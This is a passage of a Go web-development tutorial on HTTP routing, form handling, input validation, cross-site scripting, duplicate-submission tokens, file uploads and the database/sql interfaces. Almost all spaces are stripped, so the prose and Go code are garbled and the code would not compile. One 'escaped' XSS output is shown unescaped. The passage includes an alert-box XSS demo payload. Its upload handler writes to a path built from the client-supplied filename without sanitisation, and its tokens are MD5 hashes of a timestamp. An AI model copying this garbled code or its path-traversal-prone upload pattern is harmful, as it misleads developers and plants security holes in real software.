Handlerisaninterface,butifthefunctionsayhelloNamedidn'timplementthisinterface,thenhowdidweadditashandler?TheanswerliesinanothertypecalledHandlerFuncinthehttppackage.WecalledHandlerFunctodefineoursayhelloNamemethod,sosayhelloNameimplementedHandleratthesametime.It'slikewe'recallingHandlerFunc(f),andthefunctionfisforceconvertedtotypeHandlerFunc.
typeHandlerFuncfunc(ResponseWriter,*Request)
//ServeHTTPcallsf(w,r).func(fHandlerFunc)ServeHTTP(wResponseWriter,r*Request){f(w,r)}
Howdoestheroutercallhandlersafterwesettherouterrules?
Theroutercallsmux.handler.ServeHTTP(w,r)whenitreceivesrequests.Inotherwords,itcallstheServeHTTPinterfaceofthehandlerswhichhaveimplementedit.
Now,let'sseehowmux.handlerworks.
func(mux*ServeMux)handler(r*Request)Handler{mux.mu.RLock()
defermux.mu.RUnlock()
//Host-specificpatterntakesprecedenceovergenericonesh:=mux.match(r.Host+r.URL.Path)ifh==nil{h=mux.match(r.URL.Path)}ifh==nil{h=NotFoundHandler()}returnh}
Therouterusestherequest'sURLasakeytofindthecorrespondinghandlersavedinthemap,thencallshandler.ServeHTTPtoexecutefunctionstohandlethedata.
Youshouldunderstandthedefaultrouter'sworkflowbynow,andGoactuallysupportscustomizedrouters.ThesecondargumentofListenAndServeisforconfiguringcustomizedrouters.It'saninterfaceofHandler.Therefore,anyrouterthatimplementstheHandlerinterfacecanbeused.
Thefollowingexampleshowshowtoimplementasimplerouter.
packagemain
import("fmt""net/http")
typeMyMuxstruct{}
func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}http.NotFound(w,r)
return}
funcsayhelloName(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hellomyroute!")}
funcmain(){mux:=&MyMux{}http.ListenAndServe(":9090",mux)}
Gocodeexecutionflow
Let'stakealookatthewholeexecutionflow.
Callhttp.HandleFunci. CallHandleFuncofDefaultServeMuxii. CallHandleofDefaultServeMuxiii. Addrouterrulestomap[string]muxEntryofDefaultServeMuxCallhttp.ListenAndServe(":9090",nil)i. InstantiateServerii. CallListenAndServemethodofServeriii. Callnet.Listen("tcp",addr)tolistentoportiv. Startaloopandacceptrequestsintheloopbodyv. InstantiateaConnandstartagoroutineforeveryrequest:go
c.serve()
vi. Readrequestdata:w,err:=c.readRequest()vii. Checkwhetherhandlerisemptyornot,ifit'semptythenuse
DefaultServeMuxviii. CallServeHTTPofhandlerix. ExecutecodeinDefaultServeMuxinthiscasex. ChoosehandlerbyURLandexecutecodeinthathandlerfunction:
mux.handler.ServeHTTP(w,r)
xi. Howtochoosehandler:A.CheckrouterrulesforthisURLB.Call
ServeHTTPinthathandlerifthereisoneC.CallServeHTTPofNotFoundHandlerotherwise
Links
DirectoryPrevioussection:HowGoworkswithwebNextsection:Summary
3.5SummaryInthischapter,weintroducedHTTP,DNSresolutionflowandhowtobuildasimplewebserver.ThenwetalkedabouthowGoimplementswebserversforusbylookingatthesourcecodeofthenet/httppackage.
Ihopethatyounowknowmuchmoreaboutwebdevelopment,andyoushouldseethatit'squiteeasyandflexibletobuildawebapplicationinGo.
Links
DirectoryPrevioussection:GetintohttppackageNextchapter:Userform
4UserformAuserformissomethingthatisverycommonlyusedwhendeveloppingwebapplications.Itprovidestheabilitytocommunicatebetweenclientsandservers.Youmustbeveryfamiliarwithformsifyouareawebdeveloper;ifyouareaC/C++programmer,youmaywanttoask:whatisauserform?
Aformisanareathatcontainsformelements.Userscaninputinformation
intoformelementsliketextboxes,dropdownlists,radiobuttons,checkboxes,etc.Weusetheformtag<form>todefineforms.
<form>...inputelements...</form>
Goalreadyhasmanyconvenientfunctionstodealwithuserforms.YoucaneasilygetformdatainHTTPrequests,andtheyareeasytointegrateintoyourownwebapplications.Insection4.1,wearegoingtotalkabouthowtohandleformdatainGo.Also,sinceyoucannottrustanydatacomingfromtheclientside,youmustfirstverifythedatabeforeusingit.We'llgothroughsomeexamplesabouthowtoverifyformdatainsection4.2.
WesaythatHTTPisstateless.Howcanweidentifythatcertainformsarefromthesameuser?Andhowdowemakesurethatoneformcanonlybesubmittedonce?We'lllookatsomedetailsconcerningcookies(acookieisinformationthatcanbesavedontheclientsideandaddedtotherequestheaderwhentherequestissenttotheserver)inbothsections4.3and4.4.
Anotherbiguse-caseofformsisuploadingfiles.Insection4.5,youwilllearnhowtodothisaswellascontrollingthefileuploadsizebeforeitbeginsuploading,inGo.
Links
DirectoryPreviouschapter:Chapter3SummaryNextsection:Processforminputs
4.1Processforminputs
Beforewebegin,let'stakealookatasimpleexampleofatypicaluserform,savedaslogin.gtplinyourprojectfolder.
<html><head><title></title></head><body><formaction="/login"method="post">Username:<inputtype="text"name="username">Password:<inputtype="password"name="password"><inputtype="submit"value="Login"></form></body></html>
Thisformwillsubmitto/loginontheserver.Aftertheuserclickstheloginbutton,thedatawillbesenttotheloginhandlerregisteredbytheserverrouter.ThenweneedtoknowwhetheritusesthePOSTmethodorGET.
Thisiseasytofindoutusingthehttppackage.Let'sseehowtohandletheformdataontheloginpage.
packagemain
import("fmt""html/template""log""net/http""strings")
funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//Parseurlparameterspassed,thenparsetheresponsepacketforthePOSTbody(requestbody)//attention:IfyoudonotcallParseFormmethod,thefollowingdatacannotbeobtainedformfmt.Println(r.Form)//printinformationonserverside.fmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)
fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//writedatatoresponse}
funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//getrequestmethodifr.Method=="GET"{t,_:=template.ParseFiles("login.gtpl")t.Execute(w,nil)}else{r.ParseForm()//logicpartofloginfmt.Println("username:",r.Form["username"])fmt.Println("password:",r.Form["password"])}}
funcmain(){http.HandleFunc("/",sayhelloName)//settingrouterrulehttp.HandleFunc("/login",login)err:=http.ListenAndServe(":9090",nil)//settinglisteningportiferr!=nil{log.Fatal("ListenAndServe:",err)}}
Hereweuser.Methodtogettherequestmethod,anditreturnsanhttpverb-"GET","POST","PUT",etc.
Intheloginfunction,weuser.Methodtocheckwhetherit'saloginpageorloginprocessinglogic.Inotherwords,wechecktoseewhethertheuserissimplyopeningthepage,ortryingtologin.ServeshowsthepageonlywhentherequestcomesinviatheGETmethod,anditexecutestheloginlogicwhentherequestusesthePOSTmethod.
Youshouldseethefollowinginterfaceafteropeninghttp://127.0.0.1:9090/logininyourbrowser.
Figure4.1Userlogininterface
Theserverwillnotprintanythinguntilafterwetypeinausernameandpassword,becausethehandlerdoesn'tparsetheformuntilwecallr.ParseForm().Let'saddr.ParseForm()beforefmt.Println("username:",r.Form["username"]),compileourprogramandtestitagain.Youwillfindthattheinformationisprintedontheserversidenow.
r.Formcontainsalloftherequestarguments,forinstancethequery-stringintheURLandthedatainPOSTandPUT.Ifthedatahasconflicts,forexampleparametersthathavethesamename,theserverwillsavethedataintoaslicewithmultiplevalues.TheGodocumentationstatesthatGowillsavethedatafromGETandPOSTrequestsindifferentplaces.
Trychangingthevalueoftheactionintheformhttp://127.0.0.1:9090/logintohttp://127.0.0.1:9090/login?username=astaxieinthelogin.gtplfile,testitagain,andyouwillseethatthesliceisprintedontheserverside.
Figure4.2Serverprintsrequestdata
Thetypeofrequest.Formisurl.Value.Itsavesdatawiththeformatkey=value.
v:=url.Values{}v.Set("name","Ava")v.Add("friend","Jess")v.Add("friend","Sarah")v.Add("friend","Zoe")
//v.Encode()=="name=Ava&friend=Jess&friend=Sarah&friend=Zoe"fmt.Println(v.Get("name"))fmt.Println(v.Get("friend"))fmt.Println(v["friend"])
TipsRequestshavetheabilitytoaccessformdatausingtheFormValue()method.Forexample,youcanchanger.Form["username"]tor.FormValue("username"),andGocallsr.ParseFormautomatically.Noticethatitreturnsthefirstvalueifthereareargumentswiththesamename,anditreturnsanemptystringifthereisnosuchargument.
Links
DirectoryPrevioussection:UserformNextsection:Verificationofinputs
4.2VerificationofinputsOneofthemostimportantprinciplesinwebdevelopmentisthatyoucannottrustanythingfromclientsideuserforms.Youhavetoverifyallincomingdatabeforeuseit.Manywebsitesareaffectedbythisproblem,whichissimpleyetcrucial.
Therearetwowaysofverifyformdatathatarecommonlyused.OneisJavaScriptverificationinthefront-end,andtheotherisserververificationintheback-end.Inthissection,wearegoingtotalkaboutserversideverificationinwebdevelopment.
Requiredfields
Sometimeswerequirethatusersinputsomefieldsbuttheydon't,forexampleintheprevioussectionwhenwerequiredausername.Youcanuse
thelenfunctiontogetthelengthofafieldinordertoensurethatusershaveenteredthisinformation.
iflen(r.Form["username"][0])==0{//codeforemptyfield}
r.Formtreatsdifferentformelementtypesdifferentlywhentheyareblank.Foremptytextboxes,textareasandfileuploads,itreturnsanemptystring;forradiobuttonsandcheckboxes,itdoesn'tevencreatethecorrespondingitems.Instead,youwillgeterrorsifyoutrytoaccessit.Therefore,it'ssafertouser.Form.Get()togetfieldvaluessinceitwillalwaysreturnemptyifthevaluedoesnotexist.Ontheotherhand,r.Form.Get()canonlygetonefieldvalueatatime,soyouneedtouser.Formtogetthemapofvalues.
Numbers
Sometimesyouonlyneednumbersforthefieldvalue.Forexample,let'ssaythatyourequiretheageofauserinintegerformonly,i.e50or10,insteadof"oldenough"or"youngman".Ifwerequireapositivenumber,wecanconvertthevaluetotheinttypefirst,thenprocessit.
getint,err:=strconv.Atoi(r.Form.Get("age"))iferr!=nil{//erroroccurswhenconverttonumber,itmaynotanumber}
//checkrangeofnumberifgetint>100{//toobig}
Anotherwaytodothisisusingregularexpressions.
ifm,_:=regexp.MatchString("^[0-9]+$",r.Form.Get("age"));!m{
returnfalse}
Forhighperformancepurposes,regularexpressionsarenotefficient,howeversimpleregularexpressionsareusuallyfastenough.Ifyouarefamiliarwithregularexpressions,it'saveryconvenientwaytoverifydata.NoticethatGousesRE2,soallUTF-8charactersaresupported.
Chinese
SometimesweneeduserstoinputtheirChinesenamesandwehavetoverifythattheyalluseChineseratherthanrandomcharacters.ForChineseverification,regularexpressionsaretheonlyway.
ifm,_:=regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$",r.Form.Get("realname"));!m{returnfalse}
Englishletters
SometimesweneeduserstoinputonlyEnglishletters.Forexample,werequiresomeone'sEnglishname,likeastaxieinsteadofasta.Wecaneasilyuseregularexpressionstoperformourverification.
ifm,_:=regexp.MatchString("^[a-zA-Z]+$",r.Form.Get("engname"));!m{returnfalse}
E-mailaddress
IfyouwanttoknowwhetherusershaveenteredvalidE-mailaddresses,youcanusethefollowingregularexpression:
ifm,_:=regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`,r.Form.Get("email"));!m{fmt.Println("no")}else{fmt.Println("yes")}
Dropdownlist
Let'ssaywerequireanitemfromourdropdownlist,butinsteadwegetavaluefabricatedbyhackers.Howdowepreventthisfromhappening?
Supposewehavethefollowing<select>:
<selectname="fruit"><optionvalue="apple">apple</option><optionvalue="pear">pear</option><optionvalue="banana">banana</option></select>
Wecanusethefollowingstrategytosanitizeourinput:
slice:=[]string{"apple","pear","banana"}
for_,v:=rangeslice{ifv==r.Form.Get("fruit"){returntrue}}returnfalse
AllthefunctionsI'veshownaboveareinmyopensourceprojectfor
operatingonslicesandmaps:https://github.com/astaxie/beeku
Radiobuttons
Ifwewanttoknowwhethertheuserismaleorfemale,wemayusearadiobutton,returning1formaleand2forfemale.However,somelittlekidwhojustreadhisfirstbookonHTTP,decidestosendtoyoua3.Willyourprogramhavehaveexception?Asyoucansee,weneedtousethesamemethodaswedidforourdropdownlisttomakesurethatonlyexpectedvaluesarereturnedbyourradiobutton.
<inputtype="radio"name="gender"value="1">Male<inputtype="radio"name="gender"value="2">Female
Andweusefollowingcodetoverifytheinput:
slice:=[]int{1,2}
for_,v:=rangeslice{ifv==r.Form.Get("gender"){returntrue}}returnfalse
Checkboxes
Supposetherearesomecheckboxesforuserinterests,andthatyoudon'twantextraneousvalueshereeither.
<inputtype="checkbox"name="interest"value="football">Football<inputtype="checkbox"name="interest"value="basketball">Basketball<inputtype="checkbox"name="interest"value="tennis">Tennis
Inthiscase,thesanitizationisalittlebitdifferentthanverifyingthebuttonandcheckboxinputssinceherewegetaslicefromthecheckboxes.
slice:=[]string{"football","basketball","tennis"}a:=Slice_diff(r.Form["interest"],slice)ifa==nil{returntrue}
returnfalse
Dateandtime
Supposeyouwantuserstoinputvaliddatesortimes.Gohasthetimepackageforconvertingyear,monthanddaytotheircorrespondingtimes.Afterthat,it'seasytocheckit.
t:=time.Date(2009,time.November,10,23,0,0,0,time.UTC)fmt.Printf("Golaunchedat%s\n",t.Local())
Afteryouhavethetime,youcanusethetimepackageformoreoperations,dependingonyourneeds.
Inthissection,we'vediscussedsomecommonmethodsforverifyingformdataserverside.IhopethatyounowunderstandmoreaboutdataverificationinGo,especiallyhowtouseregularexpressionstoyouradvantage.
Links
DirectoryPrevioussection:Processforminputs
Nextsection:Crosssitescripting
4.3CrosssitescriptingToday'swebsiteshavemuchmoredynamiccontentinordertoimproveuserexperience,whichmeansthatwemustprovidedynamicinformationdependingoneveryindividual'sbehavior.Unfortunately,thereisathingcalled"Crosssitescripting"(knownas"XSS")alwaysattackingdynamicwebsites,fromwhichstaticwebsitesarecompletelyfineatthistime.
AttackersofteninjectmaliciousscriptslikeJavaScript,VBScript,ActiveXorFlashintothosewebsitesthathaveloopholes.Oncetheyhavesuccessfullyinjectedtheirscripts,userinformationcanbestolenandyourwebsitecanbefloodedwithspam.Theattackerscanalsochangeusersettingstowhatevertheywant.
Ifyouwanttopreventthiskindofattack,youshouldcombinethetwofollowingapproaches:
Verificationofalldatafromusers,whichwetalkedaboutintheprevioussection.Carefullyhandledatathatwillbesenttoclientsinordertopreventanyinjectedscriptsfromrunningonbrowsers.
SohowcanwedothesetwothingsinGo?Fortunately,thehtml/templatepackagehassomeusefulfunctionstoescapedataasfollows:
funcHTMLEscape(wio.Writer,b[]byte)escapesbtow.funcHTMLEscapeString(sstring)stringreturnsastringafterescapingfroms.funcHTMLEscaper(args...interface{})stringreturnsastringafterescapingfrommultiplearguments.
Let'schangetheexampleinsection4.1:
fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//printatserversidefmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//respondedtoclients
Ifsomeonetriestoinputtheusernameas<script>alert()</script>,wewillseethefollowingcontentinthebrowser:
Figure4.3JavaScriptafterescaped
Functionsinthehtml/templatepackagehelpyoutoescapeallHTMLtags.Whatifyoujustwanttoprint<script>alert()</script>tobrowsers?Youshouldusetext/templateinstead.
import"text/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")
Output:
Hello,<script>alert('youhavebeenpwned')</script>!
Oryoucanusethetemplate.HTMLtype:Variablecontentwillnotbeescapedifitstypeistemplate.HTML.
import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T",template.HTML("<script>alert('youhavebeenpwned')</script>"))
Output:
Hello,<script>alert('youhavebeenpwned')</script>!
Onemoreexampleofescaping:
import"html/template"...t,err:=template.New("foo").Parse(`{{define"T"}}Hello,{{.}}!{{end}}`)err=t.ExecuteTemplate(out,"T","<script>alert('youhavebeenpwned')</script>")
Output:
Hello,<script>alert('youhavebeenpwned')</script>!
Links
DirectoryPrevioussection:VerificationofinputsNextsection:Duplicatesubmissions
4.4Duplicatesubmissions
Idon'tknowifyou'veeverseensomeblogsorBBS'thathavemorethanonepoststhatareexactlythesame,butIcantellyouthatit'sbecauseuserssubmittedduplicatepostforms.Theremanythingsthatcancauseduplicatesubmissions;sometimesusersjustdoubleclickthesubmitbutton,ortheywanttomodifysomecontentafterpostingandpressthebackbutton.Othertimesit'stheintentionalactionsofmalicioususers.It'seasytoseehowduplicatesubmissionscanleadtomanyproblems.Thus,wehavetouseeffectivemeanstopreventit.
Thesolutionistoaddahiddenfieldwithauniquetokentoyourform,andtoalwayscheckthistokenbeforeprocessingtheincomingdata.Also,ifyouareusingAjaxtosubmitaform,useJavaScripttodisablethesubmitbuttononcetheformhasbeensubmitted.
Let'simprovetheexamplefromsection4.2:
<inputtype="checkbox"name="interest"value="football">Football<inputtype="checkbox"name="interest"value="basketball">Basketball<inputtype="checkbox"name="interest"value="tennis">TennisUsername:<inputtype="text"name="username">Password:<inputtype="password"name="password"><inputtype="hidden"name="token"value="{{.}}"><inputtype="submit"value="Login">
WeuseanMD5hash(timestamp)togeneratethetoken,andaddedittobothahiddenfieldontheclientsideformandasessioncookieontheserverside(Chapter6).Wecanthenusethistokentocheckwhetherornotthisformwassubmitted.
funclogin(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)//getrequestmethodifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))
token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("login.gtpl")t.Execute(w,token)}else{//loginrequestr.ParseForm()token:=r.Form.Get("token")iftoken!=""{//checktokenvalidity}else{//giveerrorifnotoken}fmt.Println("usernamelength:",len(r.Form["username"][0]))fmt.Println("username:",template.HTMLEscapeString(r.Form.Get("username")))//printinserversidefmt.Println("password:",template.HTMLEscapeString(r.Form.Get("password")))template.HTMLEscape(w,[]byte(r.Form.Get("username")))//respondtoclient}}
Figure4.4Thecontentinbrowserafteraddingatoken
Youcanrefreshthispageandyouwillseeadifferenttokeneverytime.This
ensuresthateveryformisunique.
Fornow,youcanpreventmanyduplicatesubmissionattacksbyaddingtokenstoyourforms,butitcannotpreventalldeceptiveattacksofthistype.Thereismuchmoreworkthatneedstobedone.
Links
DirectoryPrevioussection:CrosssitescriptingNextsection:Fileupload
4.5FileuploadSupposeyouhaveawebsitelikeInstagramandyouwantuserstouploadtheirbeautifulphotos.Howwouldyouimplementthatfunctionality?
Youhavetoaddpropertyenctypetotheformthatyouwanttouseforuploadingphotos.Therearethreepossiblevaluesforthisproperty:
application/x-www-form-urlencodedTranscodeallcharactersbeforeuploading(default).multipart/form-dataNotranscoding.Youmustusethisvaluewhenyourformhasfileuploadcontrols.text/plainConvertspacesto"+",butnotranscodingforspecialcharacters.
Therefore,theHTMLcontentofafileuploadformshouldlooklikethis:
<html><head><title>Uploadfile</title></head><body><formenctype="multipart/form-data"action="http://127.0.0.1:9090/u
pload"method="post"><inputtype="file"name="uploadfile"/><inputtype="hidden"name="token"value="{{.}}"/><inputtype="submit"value="upload"/></form></body></html>
Weneedtoaddafunctionontheserversidetohandlethisform.
http.HandleFunc("/upload",upload)
//uploadlogicfuncupload(whttp.ResponseWriter,r*http.Request){fmt.Println("method:",r.Method)ifr.Method=="GET"{crutime:=time.Now().Unix()h:=md5.New()io.WriteString(h,strconv.FormatInt(crutime,10))token:=fmt.Sprintf("%x",h.Sum(nil))
t,_:=template.ParseFiles("upload.gtpl")t.Execute(w,token)}else{r.ParseMultipartForm(32<<20)file,handler,err:=r.FormFile("uploadfile")iferr!=nil{fmt.Println(err)return}deferfile.Close()fmt.Fprintf(w,"%v",handler.Header)f,err:=os.OpenFile("./test/"+handler.Filename,os.O_WRONLY|os.O_CREATE,0666)iferr!=nil{fmt.Println(err)return}deferf.Close()io.Copy(f,file)}}
Asyoucansee,weneedtocallr.ParseMultipartFormforuploadingfiles.ThefunctionmaxMemoryargument.AfteryoucallParseMultipartForm,thefilewillbesavedintheservermemorywithmaxMemorysize.IfthefilesizeislargerthanmaxMemory,therestofthedatawillbesavedinasystemtemporaryfile.Youcanuser.FormFiletogetthefilehandleanduseio.Copytosavetoyourfilesystem.
Youdon'tneedtocallr.ParseFormwhenyouaccessothernon-filefieldsintheformbecauseGowillcallitwhenit'snecessary.Also,callingParseMultipartFormonceisenough-multiplecallsmakenodifference.
Weusethreestepsforuploadingfilesasfollows:
1. Addenctype="multipart/form-data"toyourform.2. Callr.ParseMultipartFormontheserversidetosavethefileeithertomemoryortoatemporaryfile.
3. Callr.FormFiletogetthefilehandleandsavetothefilesystem.
Thefilehandleristhemultipart.FileHeader.Itusesthefollowingstruct:
typeFileHeaderstruct{FilenamestringHeadertextproto.MIMEHeader//containsfilteredorunexportedfields}
Figure4.5Printinformationonserverafterreceivingfile.
Clientsuploadfiles
Ishowedanexampleofusingaformtoauploadafile.WecanimpersonateaclientformtouploadfilesinGoaswell.
packagemain
import("bytes""fmt""io""io/ioutil""mime/multipart""net/http""os")
funcpostFile(filenamestring,targetUrlstring)error{bodyBuf:=&bytes.Buffer{}bodyWriter:=multipart.NewWriter(bodyBuf)
//thisstepisveryimportantfileWriter,err:=bodyWriter.CreateFormFile("uploadfile",filename)iferr!=nil{fmt.Println("errorwritingtobuffer")returnerr}
//openfilehandlefh,err:=os.Open(filename)iferr!=nil{fmt.Println("erroropeningfile")returnerr}
//iocopy_,err=io.Copy(fileWriter,fh)iferr!=nil{returnerr}
contentType:=bodyWriter.FormDataContentType()bodyWriter.Close()
resp,err:=http.Post(targetUrl,contentType,bodyBuf)iferr!=nil{returnerr}deferresp.Body.Close()
resp_body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{returnerr}fmt.Println(resp.Status)fmt.Println(string(resp_body))returnnil}
//sampleusagefuncmain(){target_url:="http://localhost:9090/upload"filename:="./astaxie.pdf"postFile(filename,target_url)}
Theaboveexampleshowsyouhowtouseaclienttouploadfiles.Itusesmultipart.WritetowritefilesintocacheandsendsthemtotheserverthroughthePOSTmethod.
Ifyouhaveotherfieldsthatneedtowriteintodata,likeusername,callmultipart.WriteFieldasneeded.
Links
DirectoryPrevioussection:DuplicatesubmissionsNextsection:Summary
4.6SummaryInthischapter,wemainlylearnedhowtoprocessformdatainGothroughseveralexampleslikelogginginusersanduploadingfiles.Wealsoemphasizedthatverifyinguserdataisextremelyimportantforwebsitesecurity,andweusedonesectiontotalkabouthowtofilterdatawithregularexpressions.
Ihopethatyounowknowmoreaboutthecommunicationprocessbetweenclientandserver.
Links
DirectoryPrevioussection:FileuploadNextchapter:Database
5DatabaseForwebdevelopers,thedatabaseisatthecoreofwebdevelopment.Youcansavealmostanythingintoadatabaseandqueryorupdatedatainsideit,likeuserinformation,productsornewsarticles.
Godoesn'tprovideanydatabasedrivers,butitdoeshaveadriverinterfacedefinedinthedatabase/sqlpackage.Peoplecandevelopdatabasedriversbasedonthatinterface.Insection5.1,wearegoingtotalkaboutdatabasedriverinterfacedesigninGo;insections5.2to5.4,IwillintroducesomeSQLdatabasedriverstoyou;insection5.5,i'llpresenttheORMthati'vedevelopedwhichisbasedonthedatabase/sqlinterfacestandard.It'scompatiblewithmostdriversthathaveimplementedthedatabase/sqlinterface,anditmakesiteasytoaccessdatabasesidiomaticallyinGo.
NoSQLhasbeenahottopicinrecentyears.MorewebsitesaredecidingtouseNoSQLdatabasesastheirmaindatabaseinsteadofjustforthepurposeofcaching.IwillintroduceyoutotwoNoSQLdatabases,whichareMongoDBandRedis,insection5.6.
Links
DirectoryPreviousChapter:Chapter4Summary
Nextsection:database/sqlinterface
5.1database/sqlinterfaceGodoesn'tprovideanyofficialdatabasedrivers,unlikeotherlanguageslikePHPwhichdo.However,itdoeshavesomedatabasedriverinterfacestandardsfordeveloperstodevelopdatabasedriverswith.Theadvantageisthatifyourcodeisdevelopedaccordingtotheseinterfacestandards,youwillnotneedtochangeanycodeifyourdatabasechanges.Let'sseewhatthesedatabaseinterfacestandardsare.
sql.Register
Thisfunctionisinthedatabase/sqlpackageforregisteringdatabasedriverswhenyouusethird-partydatabasedrivers.AlloftheseshouldcalltheRegister(namestring,driverdriver.Driver)functionininit()inordertoregisterthemselves.
Let'stakealookatthecorrespondingmymysqlandsqlite3drivercode:
//https://github.com/mattn/go-sqlite3driverfuncinit(){sql.Register("sqlite3",&SQLiteDriver{})}
//https://github.com/mikespook/mymysqldriver//Driverautomaticallyregisteredindatabase/sqlvard=Driver{proto:"tcp",raddr:"127.0.0.1:3306"}funcinit(){Register("SETNAMESutf8")sql.Register("mymysql",&d)}
Weseethatallthird-partydatabasedrivershaveimplementedthisfunctiontoregisterthemselves,andGousesamaptosaveuserdriversinsideofdatabase/sql.
vardrivers=make(map[string]driver.Driver)
drivers[name]=driver
Therefore,thisregisterfunctioncanregisterdriversasmanyasyouwantwithdifferentnames.
Wealwaysseethefollowingcodewhenweusethird-partydrivers:
import("database/sql"_"github.com/mattn/go-sqlite3")
Heretheunderscore(alsoknownasa'blank')_canbequiteconfusingformanybeginners,butthisisagreatfeatureinGo.Wealreadyknowthatthisidentifierisfordiscardingvaluesfromfunctionreturns,andalsothatyoumustuseallpackagesthatyou'veimportedinyourcodeinGo.Sowhentheblankisusedwithimport,itmeansthatyouneedtoexecutetheinit()functionofthatpackagewithoutdirectlyusingit,whichexactlyfitstheuse-caseforregisteringdatabasedrivers.
driver.Driver
DriverisaninterfacecontaininganOpen(namestring)methodthatreturnsaConninterface.
typeDriverinterface{Open(namestring)(Conn,error)}
Thisisaone-timeConn,whichmeansitcanonlybeusedonceinonegoroutine.Thefollowingcodewillcauseerrorstooccur:
...gogoroutineA(Conn)//querygogoroutineB(Conn)//insert...
BecauseGohasnoideawhichgoroutinedoeswhatoperation,thequeryoperationmaygettheresultoftheinsertoperation,andvice-versa.
Allthird-partydriversshouldhavethisfunctiontoparsethenameofConnandreturnthecorrectresults.
driver.Conn
Thisisadatabaseconnectioninterfacewithsomemethods,andasi'vesaidabove,thesameConncanonlybeusedinonegoroutine.
typeConninterface{Prepare(querystring)(Stmt,error)Close()errorBegin()(Tx,error)}
PreparereturnsthepreparestatusofcorrespondingSQLcommandsforqueryinganddeleting,etc.Closeclosesthecurrentconnectionandcleansresources.Mostthird-partydriversimplementsomekindofconnectionpool,soyoudon'tneedtocacheconnectionsunlessyouwanttohaveunexpectederrors.BeginreturnsaTxthatrepresentsatransactionhandle.Youcanuseitforquerying,updating,rollingbacktransactions,etc.
driver.Stmt
ThisisareadystatusthatcorrespondswithConn,soitcanonlybeusedinonegoroutinelikeConn.
typeStmtinterface{Close()errorNumInput()intExec(args[]Value)(Result,error)Query(args[]Value)(Rows,error)}
Closeclosesthecurrentconnectionbutstillreturnsrowdataifitisexecutingaqueryoperation.NumInputreturnsthenumberofobligatearguments.Databasedriversshouldchecktheircaller'sargumentswhentheresultisgreaterthan0,anditreturns-1whendatabasedriversdon'tknowanyobligateargument.Execexecutestheupdate/insertSQLcommandspreparedinPrepare,returnsResult.QueryexecutestheselectSQLcommandpreparedinPrepare,returnsrowdata.
driver.Tx
Generally,transactionhandlesonlyhavesubmitorrollbackmethods,anddatabasedriversonlyneedtoimplementthesetwomethods.
typeTxinterface{Commit()errorRollback()error}
driver.Execer
Thisisanoptionalinterface.
typeExecerinterface{
Exec(querystring,args[]Value)(Result,error)}
Ifthedriverdoesn'timplementthisinterface,whenyoucallDB.Exec,itwillautomaticallycallPrepare,thenreturnStmt.AfterthatitexecutestheExecmethodofStmt,thenclosesStmt.
driver.Result
Thisistheinterfaceforresultsofupdate/insertoperations.
typeResultinterface{LastInsertId()(int64,error)RowsAffected()(int64,error)}
LastInsertIdreturnsauto-incrementIdnumberafteradatabaseinsertoperation.RowsAffectedreturnsrowsthatwereaffectedbyqueryoperations.
driver.Rows
Thisistheinterfacefortheresultofaqueryoperation.
typeRowsinterface{Columns()[]stringClose()errorNext(dest[]Value)error}
Columnsreturnsfieldinformationofdatabasetables.Theslicehasaone-to-onecorrespondencewithSQLqueryfieldsonly,anddoesnotreturnallfieldsofthatdatabasetable.
CloseclosesRowsiterator.Nextreturnsnextdataandassignstodest,convertingallstringsintobytearrays,andgetsio.EOFerrorifnomoredataisavailable.
driver.RowsAffected
Thisisanaliasofint64,butitimplementstheResultinterface.
typeRowsAffectedint64
func(RowsAffected)LastInsertId()(int64,error)
func(vRowsAffected)RowsAffected()(int64,error)
driver.Value
Thisisanemptyinterfacethatcancontainsanykindofdata.
typeValueinterface{}
TheValuemustbesomethingthatdriverscanoperateonornil,soitshouldbeoneoffollowingtypes:
int64float64bool[]bytestring[*]ExceptRows.Nextwhichcannotreturnstringtime.Time
driver.ValueConverter
Thisdefinesaninterfaceforconvertingnormalvaluestodriver.Value.
typeValueConverterinterface{ConvertValue(vinterface{})(Value,error)}
Thisinterfaceiscommonlyusedindatabasedriversandhasmanyusefulfeatures:
Convertsdriver.Valuetoacorrespondingdatabasefieldtype,forexampleconvertsint64touint16.Convertsdatabasequeryresultstodriver.Value.Convertsdriver.Valuetoauserdefinedvalueinthescanfunction.
driver.Valuer
Thisdefinesaninterfaceforreturningdriver.Value.
typeValuerinterface{Value()(Value,error)}
Manytypesimplementthisinterfaceforconversionbetweendriver.Valueanditself.
Atthispoint,youshouldknowabitaboutdeveloppingdatabasedriversinGo.Onceyoucanimplementinterfacesforoperationslikeadd,delete,update,etc.,thereareonlyafewproblemsleftrelatedtocommunicatingwithspecificdatabases.
database/sql
databse/sqldefinesevenmorehigh-levelmethodsontopof
database/sql/driverformoreconvenientdatabaseoperations,anditsuggeststhatyouimplementaconnectionpool.
typeDBstruct{driverdriver.Driverdsnstringmusync.Mutex//protectsfreeConnandclosedfreeConn[]driver.Connclosedbool}
